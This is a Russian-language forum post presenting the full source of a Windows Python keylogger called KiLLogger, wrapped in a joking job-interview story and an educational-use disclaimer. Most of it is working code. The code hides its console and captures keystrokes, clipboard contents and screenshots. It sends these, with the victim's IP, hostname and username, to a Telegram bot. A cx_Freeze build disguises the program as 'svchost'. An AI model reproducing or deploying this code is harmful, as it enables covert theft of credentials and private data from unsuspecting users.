Привет-привет!
Хочу рассказать об одном интересном опыте, триггером для получения которого стал мой товарищ, проходивший собеседование в одну структуру исполнительной власти одного государства. Чтобы ни у кого не возникло никаких ассоциаций с реальностью (так как, разумеется, история полностью выдуманная), назовем оное государство Фракцией Рептилоидов (ФР), а оную структуру Большой Статистической Флуктуацией (БСФ). Итак, приходит мой друг в здание, где расположилось БСФ ФР, просачивается через 100500 механизмов биометрической аутентификации (забыл сказать, структура занимается сверхсекретными делами государства и напрямую связана с безопасностью, поэтому охрана мероприятия на высшем уровне) и оказывается в оборудованной по последнему слову технике комнатке, в которой нет места отваливающемуся линолеуму и валяющимся-на-проходе огрызкам проводов, где в него с порога шарашат оригинальным предложением: «А вот если я тебе прямо сейчас дам ноутбук, напишешь мне кейлоггер?!».
И тут начинается мой челлендж — поставив себя на место друга, я подумал, а сколько бы мне понадобилось времени, чтобы набросать простой перехватчик активности клавиатуры для Окон. Четкого обозначения задачи со стороны человека, правящего бал на собеседовании, не было, поэтому полагаю, что если бы товарищ предоставил максимально возможный по тривиальности кейлоггер (который просто пишет сочетания клавиш в локальный текстовый файл), формально это бы считалось успехом:
Теоретически его даже можно запустить интерактивно в IDLE.
Итак, максимально тривиальный кейлоггер на Пайтоне (на чем же еще, если от нас требуют работы на время, хех) требует:
1. Импорт
Сразу забегая вперед, скажу, что весь объем кода получился порядка
2. Запрет запуска нескольких инстансов одновременно
Все понятно без лишних слов: если WinAPI говорит, что такой процесс уже есть — аварийно выходим через
3. Скрытие окна консоли
Если появится необходимость запустить скрипт дважды щелкнув по исходнику, было бы здорово, чтобы пользователя не шокировало пугающе выпрыгивающее окно консоли. Для этого пропишем следующий код (опять же, WinAPI в помощь), а также в качестве расширения скрипта укажем не привычный
4. Креды в хардкоде
Плохо так делать, но ничего другого не остается. Токен ТГ-бота и идентификатор диалога, куда слать эти ваши keypress'ы:
5. Ядро
Здесь сосредоточено основное тело программы — объявление некоторых глобальных переменных; функции реагирования на нажатия, логирования перехваченных событий (локально и в телегу), создание скриншотов и работы с телеграмовским API:
6. Main
Ну и, собственно, гвоздь программы: обертка main'а, где крутится главный цикл
7. Баннер
Ах да, какой же это кейлоггер без запоминающего названия:
Таким образом, кейлоггер имеет вид
(полный
Не очень удобно каждый раз на машине предполагаемой жертвы ставить virtualenv, а потом резолвить этот список, поэтому было бы очень круто иметь возможность "заморозить" исполняемый файл с уже готовым окружением. Но в этом деле предстоит столкнуться с некоторыми трудностями, о которых вкратце ниже.
cx_Freeze
Для последней задачи я всегда пользовался кроссплатформенным модулем под названием
Какие здесь особенности:
Итак, что мы имеем здесь:
Спасибо за внимание :3
Хочу рассказать об одном интересном опыте, триггером для получения которого стал мой товарищ, проходивший собеседование в одну структуру исполнительной власти одного государства. Чтобы ни у кого не возникло никаких ассоциаций с реальностью (так как, разумеется, история полностью выдуманная), назовем оное государство Фракцией Рептилоидов (ФР), а оную структуру Большой Статистической Флуктуацией (БСФ). Итак, приходит мой друг в здание, где расположилось БСФ ФР, просачивается через 100500 механизмов биометрической аутентификации (забыл сказать, структура занимается сверхсекретными делами государства и напрямую связана с безопасностью, поэтому охрана мероприятия на высшем уровне) и оказывается в оборудованной по последнему слову технике комнатке, в которой нет места отваливающемуся линолеуму и валяющимся-на-проходе огрызкам проводов, где в него с порога шарашат оригинальным предложением: «А вот если я тебе прямо сейчас дам ноутбук, напишешь мне кейлоггер?!».
ДИСКЛЕЙМЕР
Вся информация представлена исключительно в образовательных целях. Создание и распространение вредоносного ПО, равно как и неправомерное завладение компьютерной информацией преследуется по закону.
И тут начинается мой челлендж — поставив себя на место друга, я подумал, а сколько бы мне понадобилось времени, чтобы набросать простой перехватчик активности клавиатуры для Окон. Четкого обозначения задачи со стороны человека, правящего бал на собеседовании, не было, поэтому полагаю, что если бы товарищ предоставил максимально возможный по тривиальности кейлоггер (который просто пишет сочетания клавиш в локальный текстовый файл), формально это бы считалось успехом:
Python:
import pyHook, pythoncom, logging
def on_keyboard_event(event):
with open('keyloggerlog.txt', 'a') as fp:
fp.write(event.Key + ' ')
return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = on_keyboard_event
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
Итак, максимально тривиальный кейлоггер на Пайтоне (на чем же еще, если от нас требуют работы на время, хех) требует:
- 11 строк кода;
- 2 сторонних модуля;
- около 5-и минут на написание (со
Ссылка скрыта от гостейсторонних модулей, одного из которых, к слову, нет вСсылка скрыта от гостей, и осмыслением того, как работает то, что ты успел нагуглить).
1. Импорт
Сразу забегая вперед, скажу, что весь объем кода получился порядка
Ссылка скрыта от гостей
, и это при том, что мы благородно следуем рекомендациям
Ссылка скрыта от гостей
и пишем импорты на отдельных строках (⌒▽⌒)☆
Python:
import pyHook # собственно, сам перехватчик
import pythoncom # часть либы pywin32, организующая "видимость" нажатий для перехватчика
import pyperclip # модуль для работы с буфером обмена
import requests # можно было ограничиться дефолтным urllib и не тащить за собой еще одну зависимость, но отправлять картинку POST-запросом через urllib это БОЛЬ
import PIL.ImageGrab # часть известного модуля PIL, для захвата экрана (скриншоты)
import win32event # для предотвращения запуска нескольких инстансов скрипта
import win32api # для предотвращения запуска нескольких инстансов скрипта
import winerror # для предотвращения запуска нескольких инстансов скрипта
import win32console # для скрытия окна консоли
import win32gui # для скрытия окна консоли
import random # для генерации случайного имени текстового файла, содержащего локальный лог кейлоггера
import socket # для получения имени хоста
import sys # для обработки аргументов, чтобы не тащить за собой argparse
import os # для получения имени пользователя
import io # для преобразования объекта типа <PIL.Image.Image> в битовый поток <_io.BytesIO>, нужно для POST'а через requests
from multiprocessing import Queue # фиксим баг при заморозки модуля requests через cx_Freeze: если не указать явный импорт очереди явно, созданный бинарник его не найдет
2. Запрет запуска нескольких инстансов одновременно
Все понятно без лишних слов: если WinAPI говорит, что такой процесс уже есть — аварийно выходим через
sys.exit()
:
Python:
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
sys.exit()
3. Скрытие окна консоли
Если появится необходимость запустить скрипт дважды щелкнув по исходнику, было бы здорово, чтобы пользователя не шокировало пугающе выпрыгивающее окно консоли. Для этого пропишем следующий код (опять же, WinAPI в помощь), а также в качестве расширения скрипта укажем не привычный
.py
, а .pyw
, обращающийся не к python.exe, а к
Ссылка скрыта от гостей
:
Python:
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
4. Креды в хардкоде
Плохо так делать, но ничего другого не остается. Токен ТГ-бота и идентификатор диалога, куда слать эти ваши keypress'ы:
Python:
TGBOT_TOKEN = '<TGBOT_TOKEN>'
TGBOT_CHAT_ID = '<TGBOT_CHAT_ID>'
5. Ядро
Здесь сосредоточено основное тело программы — объявление некоторых глобальных переменных; функции реагирования на нажатия, логирования перехваченных событий (локально и в телегу), создание скриншотов и работы с телеграмовским API:
Python:
EMOJI_IP_ADDRESS = '\U0001F4E4'
EMOJI_HOSTNAME = '\U0001F5A5'
EMOJI_USERNAME = '\U0001F464'
ASCII_UPPERCASE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ASCII_LOWERCASE = 'abcdefghijklmnopqrstuvwxyz'
filename = ''.join(random.choices(ASCII_UPPERCASE + ASCII_LOWERCASE, k=8))
filepath = f'C:\\Windows\\Temp\\{filename}'
tg_mode, key_events = 0, 'START'
savepoint, clipboard_max_len = 1000, 100
def on_keyboard_event(event):
global key_events
try:
key_events = f'{key_events} {event.Key}'
except TypeError:
pass
log()
return True
def log():
global tg_mode, key_events, savepoint, clipboard_max_len
if len(key_events) >= savepoint:
with open(filepath, 'a') as fp:
fp.write(key_events)
if tg_mode:
tgbot_send_message(key_events.strip(), content='Keyboard')
clipboard = pyperclip.paste()
if clipboard and clipboard.isprintable() and len(clipboard) <= clipboard_max_len:
tgbot_send_message(clipboard.strip(), content='Clipboard')
tgbot_send_photo(screenshot())
key_events = ''
def screenshot():
im = PIL.ImageGrab.grab()
fp = io.BytesIO()
im.save(fp, 'JPEG')
fp.seek(0)
return fp
def tgbot_send_message(message, content):
try:
ip = requests.get('http://httpbin.org/ip').json()
ip = ip['origin'].split(',')[0]
hostname = socket.gethostname()
username = os.getlogin()
except:
ip, hostname, username = None, None, None
message = f'''\
{EMOJI_IP_ADDRESS} {ip}
{EMOJI_HOSTNAME} {hostname}
{EMOJI_USERNAME} {username}
_{content}:_
```
{message}
```\
'''.replace('\t', '')
params = {
'chat_id': TGBOT_CHAT_ID,
'parse_mode': 'Markdown',
'text': message
}
requests.get(f'https://api.telegram.org/bot{TGBOT_TOKEN}/sendMessage', params=params)
def tgbot_send_photo(photo):
params = {'chat_id': TGBOT_CHAT_ID}
files = {'photo': photo}
requests.post(f'https://api.telegram.org/bot{TGBOT_TOKEN}/sendPhoto', params=params, files=files)
6. Main
Ну и, собственно, гвоздь программы: обертка main'а, где крутится главный цикл
pythoncom.PumpMessages()
:
Python:
def main():
global tg_mode, savepoint, clipboard_max_len
if len(sys.argv) >= 3:
try:
savepoint = int(sys.argv[1])
clipboard_max_len = int(sys.argv[2])
except ValueError:
pass
if 'tg' in sys.argv:
tg_mode = 1
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = on_keyboard_event
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
main()
7. Баннер
Ах да, какой же это кейлоггер без запоминающего названия:
Python:
'''
▄ •▄ ▪ ▄▄▌ ▄▄▌ ▄▄ • ▄▄ • ▄▄▄ .▄▄▄
█▌▄▌▪██ ██• ██• ▪ ▐█ ▀ ▪▐█ ▀ ▪▀▄.▀·▀▄ █·
▐▀▀▄·▐█·██▪ ██▪ ▄█▀▄ ▄█ ▀█▄▄█ ▀█▄▐▀▀▪▄▐▀▀▄
▐█.█▌▐█▌▐█▌▐▌▐█▌▐▌▐█▌.▐▌▐█▄▪▐█▐█▄▪▐█▐█▄▄▌▐█•█▌
·▀ ▀▀▀▀.▀▀▀ .▀▀▀ ▀█▄▀▪·▀▀▀▀ ·▀▀▀▀ ▀▀▀ .▀ ▀
by Sam Freeside (@snovvcrash)
'''
Таким образом, кейлоггер имеет вид
python KiLLogger.py [SAVEPOINT] [CLIPBOARD_MAX_LEN] [tg]
, гдеSAVEPOINT
— целое число; длина строки, при достижении которой будет триггериться выгрузка логов, значение по умолчанию1000
(хочу обратить внимание — именно длина строки, а не количество перехваченных клавиш, потому что одна клавишаLcontrol
, к примеру, уже имеет длину 8 символов);CLIPBOARD_MAX_LEN
— целое число; максимальный объем буфера обмена, который будет отправляться в Телеграм, значение по умолчанию100
(нас же интересует только "чувствительные" данные, по типу авторизационных, которые редко бывают очень длинными, а лишний раз замусоривать перехват тоже не айс);tg
— флаг; собственно, нужно ли отправлять все это безобразие в Телеграм, или же просто ограничиться локальным хранилищем.
Код:
pyHook
pywin32
pyperclip
requests
pillow
requirements.txt
в конце).Не очень удобно каждый раз на машине предполагаемой жертвы ставить virtualenv, а потом резолвить этот список, поэтому было бы очень круто иметь возможность "заморозить" исполняемый файл с уже готовым окружением. Но в этом деле предстоит столкнуться с некоторыми трудностями, о которых вкратце ниже.
cx_Freeze
Для последней задачи я всегда пользовался кроссплатформенным модулем под названием
cx_Freeze
. Он предполагает наличие инструкций сборки в виде отдельного файла setup.py
(что-то типа C'ишного Makefile'а). Выглядит он следующим образом:
Python:
import distutils
import opcode
import os
import sys
from cx_Freeze import setup, Executable
distutils_path = os.path.join(os.path.dirname(opcode.__file__), 'distutils')
build_exe_options = {
'packages': ['os'],
'excludes': ['tkinter', 'distutils'],
'includes': ['idna.idnadata'],
'include_files': ['cpyHook.py', (distutils_path, 'lib/distutils')],
'optimize': 1
}
base = None
if sys.platform == 'win32':
base = 'Win32GUI'
setup(
name = 'svchost',
version = '0.1',
description = 'Host Process for Windows Services',
options = {'build_exe': build_exe_options},
executables = [Executable('svchost.pyw', base=base)]
)
Какие здесь особенности:
- Самое странное, что бросается в глаза: скрипт я назвал
svchost.pyw
для усыпления внимания пользователя (первое, что пришло в голову). Конечно, внимательный юзер, увидев бегущий процесс svchost'а из директорииC:\Windows\Temp
, сразу заподозрит неладное, но у нас же учебный случай, верно ╮(︶︿︶)╭ - Проблема взаимодействия
cx_Freeze
,distutils
и виртуальной среды, вытекающая в НЕвключение в конечную сборку некоторых модулей.distutils
не копирует часть своих компонент при работе из-под virtualenv, а ограничивается только указанием способа "вытаскивания" последних в динамическом режиме уже при работе программы. И здесь начинает жаловатьсяcx_Freeze
, который не может найти путь дляdistutils
при статическом анализе кода. Лечится это ручным исключениемdistutils
из сборки с последующим указанием конкретного месторасположения этого модуля. ПодробнееСсылка скрыта от гостей. - Проблема копирования
cpyHook.py
в конечную сборку. Здесь совсем тривиально — просто копируем нужный файл ручками вbuild/.../lib/pyHook
.
Итак, что мы имеем здесь:
- 100 строк кода;
- 5 сторонних модулей;
- около 3-х часов на написание (с вспоминанием, как работает ТГ-API и решением траблов с
setup.py
); - я опять протратил целый день черт знает на что вместо того, чтобы писать курсач.
Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Usage: python3 KiLLogger.py [SAVEPOINT] [CLIPBOARD_MAX_LEN] [tg]
"""LEGAL DISCLAIMER
KiLLogger was written for use in educational purposes only. Using this tool
for stealing sensitive data without prior mutual consistency can be considered
as an illegal activity. It is the final user's responsibility to obey all
applicable local, state and federal laws.
The author assume no liability and is not responsible for any misuse or
damage caused by this tool.
"""
'''
▄ •▄ ▪ ▄▄▌ ▄▄▌ ▄▄ • ▄▄ • ▄▄▄ .▄▄▄
█▌▄▌▪██ ██• ██• ▪ ▐█ ▀ ▪▐█ ▀ ▪▀▄.▀·▀▄ █·
▐▀▀▄·▐█·██▪ ██▪ ▄█▀▄ ▄█ ▀█▄▄█ ▀█▄▐▀▀▪▄▐▀▀▄
▐█.█▌▐█▌▐█▌▐▌▐█▌▐▌▐█▌.▐▌▐█▄▪▐█▐█▄▪▐█▐█▄▄▌▐█•█▌
·▀ ▀▀▀▀.▀▀▀ .▀▀▀ ▀█▄▀▪·▀▀▀▀ ·▀▀▀▀ ▀▀▀ .▀ ▀
by Sam Freeside (@snovvcrash)
'''
import pyHook
import pythoncom
import pyperclip
import requests
import PIL.ImageGrab
import win32event
import win32api
import winerror
import win32console
import win32gui
import random
import socket
import sys
import os
import io
from multiprocessing import Queue
# Prevent multiple instances
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
sys.exit()
# Hide console
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
# ------------------------- Creds --------------------------
TGBOT_TOKEN = '<TGBOT_TOKEN>'
TGBOT_CHAT_ID = '<TGBOT_CHAT_ID>'
# ----------------------------------------------------------
EMOJI_IP_ADDRESS = '\U0001F4E4'
EMOJI_HOSTNAME = '\U0001F5A5'
EMOJI_USERNAME = '\U0001F464'
ASCII_UPPERCASE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
ASCII_LOWERCASE = 'abcdefghijklmnopqrstuvwxyz'
filename = ''.join(random.choices(ASCII_UPPERCASE + ASCII_LOWERCASE, k=8))
filepath = f'C:\\Windows\\Temp\\{filename}'
tg_mode, key_events = 0, 'START'
savepoint, clipboard_max_len = 1000, 100
def on_keyboard_event(event):
global key_events
try:
key_events = f'{key_events} {event.Key}'
except TypeError:
pass
log()
return True
def log():
global tg_mode, key_events, savepoint, clipboard_max_len
if len(key_events) >= savepoint:
with open(filepath, 'a') as fp:
fp.write(key_events)
if tg_mode:
tgbot_send_message(key_events.strip(), content='Keyboard')
clipboard = pyperclip.paste()
if clipboard and clipboard.isprintable() and len(clipboard) <= clipboard_max_len:
tgbot_send_message(clipboard.strip(), content='Clipboard')
tgbot_send_photo(screenshot())
key_events = ''
def screenshot():
im = PIL.ImageGrab.grab()
fp = io.BytesIO()
im.save(fp, 'JPEG')
fp.seek(0)
return fp
def tgbot_send_message(message, content):
try:
ip = requests.get('http://httpbin.org/ip').json()
ip = ip['origin'].split(',')[0]
hostname = socket.gethostname()
username = os.getlogin()
except:
ip, hostname, username = None, None, None
message = f'''\
{EMOJI_IP_ADDRESS} {ip}
{EMOJI_HOSTNAME} {hostname}
{EMOJI_USERNAME} {username}
_{content}:_
```
{message}
```\
'''.replace('\t', '')
params = {
'chat_id': TGBOT_CHAT_ID,
'parse_mode': 'Markdown',
'text': message
}
requests.get(f'https://api.telegram.org/bot{TGBOT_TOKEN}/sendMessage', params=params)
def tgbot_send_photo(photo):
params = {'chat_id': TGBOT_CHAT_ID}
files = {'photo': photo}
requests.post(f'https://api.telegram.org/bot{TGBOT_TOKEN}/sendPhoto', params=params, files=files)
def main():
global tg_mode, savepoint, clipboard_max_len
if len(sys.argv) >= 3:
try:
savepoint = int(sys.argv[1])
clipboard_max_len = int(sys.argv[2])
except ValueError:
pass
if 'tg' in sys.argv:
tg_mode = 1
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = on_keyboard_event
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
main()
Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import distutils
import opcode
import os
import sys
from cx_Freeze import setup, Executable
distutils_path = os.path.join(os.path.dirname(opcode.__file__), 'distutils')
build_exe_options = {
'packages': ['os'],
'excludes': ['tkinter', 'distutils'],
'includes': ['idna.idnadata'],
'include_files': ['cpyHook.py', (distutils_path, 'lib/distutils')],
'optimize': 1
}
base = None
if sys.platform == 'win32':
base = 'Win32GUI'
setup(
name = 'svchost',
version = '0.1',
description = 'Host Process for Windows Services',
options = {'build_exe': build_exe_options},
executables = [Executable('svchost.pyw', base=base)]
)
certifi==2018.11.29
chardet==3.0.4
cx-Freeze==5.1.1
idna==2.8
Pillow==5.4.1
pyHook==1.5.1
pyperclip==1.7.0
pywin32==224
requests==2.21.0
urllib3==1.24.1
chardet==3.0.4
cx-Freeze==5.1.1
idna==2.8
Pillow==5.4.1
pyHook==1.5.1
pyperclip==1.7.0
pywin32==224
requests==2.21.0
urllib3==1.24.1
Спасибо за внимание :3
Последнее редактирование: